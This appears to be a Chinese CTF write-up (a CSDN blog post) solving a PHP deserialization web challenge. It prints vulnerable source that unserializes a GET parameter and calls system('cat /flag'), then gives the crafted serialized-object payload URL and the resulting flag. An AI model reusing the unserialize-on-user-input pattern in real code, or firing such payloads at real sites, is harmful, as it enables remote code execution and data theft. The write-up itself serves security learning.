【CTF】Web反序列wp

本文探讨了一道关于PHP反序列化漏洞的Web题目。通过分析源码,发现需要利用`unserialize`函数来构造特定的类实例。关键在于设置类中的`pass`属性为`true`,同时满足类的其他条件。最终,通过构造`pop`参数的值,成功触发`cflag()`函数,获取到flag。解决方案是提供正确的`name`、`age`和`pop`参数,使得`pass`为真,并绕过类中的逻辑检查。
摘要由CSDN通过智能技术生成

一道关于反序列法的web题

<?php  
  
error_reporting(0);  
  
$name=$_GET['name'];  
$age=$_GET['age'];  
$pop=$_GET['pop'];  
  
if(isset($name) && isset($age)){  
	$word = unserialize($pop);  
	if($word->cname($name,$age)){  
		$word->cflag();  
	}else{  
		echo "no word, flag";  
	}  
}  
  
class kaka{  
  
	public $pass=false;  
	public $name='name';  
	public $age='age';  
  
	function __wakeup(){  
		$this->name = 'lilei';  
		$this->age='two';
	}  
  
	public function cflag(){  
		if($this->pass){  
			eval(system('cat /flag'));  
		}else{  
			echo "no word, flag";  
		}  
	}  
	public function cname($n,$a){  
		if($this->name===$n){  
			if($this->age===$a){  
				return true;  
			}  
		}  
	}  
}  
  
highlight_file(__FILE__);

题目已经将源码显示出来了
根据题目,首先我注意到,需要上传的参数有3个
$name,$age,$pop
题目给出了一个类,从中看出,题目就是围绕着这个类运行的
在类中审视一圈,找到关于falg的函数

cflag()

根据方法中指示,需要到达这一步需要$pass=true
然后类中初始化$pass等于false
在回到主函数,我注意到

unserialize()
//反序列函数

这里基本可以确定做题思路了
我先满足name和age变量
开始我是准备name=name&age=age
然而,我发现类中的函数会执行一个操作,就是修改需要判断的变量值
这里及时修改name=lilei&age=two
然后只需要在根据类拼写好pop的值就行了
注意到是,其中有个需要判断类中的pass=true
所以基本上改下pass的值就ok

o:4:"kaka":3:{s:4:"pass";i:1;s:3:"age";s:3:"age";s:4:"name";s:4:"name";}
//注意到是,这时候我并不知道布尔值在中表示什么
//但是可以用随意值代替
//在php中除了0,空的值,false等表示假,其他都是表示真
//而name和age因为会被修改所以,可以随意给值

最后pop拼接好,就得出flag了

?name=lilei&age=two&pop=O:4:"kaka":3:{s:4:"pass";i:1;s:4:"name";s:4:"name";s:3:"age";s:3:"age";}

flag{FuRCX89vUrqBcHMM6r63HbeDnujkUANu}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

A先生不会提交flag

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值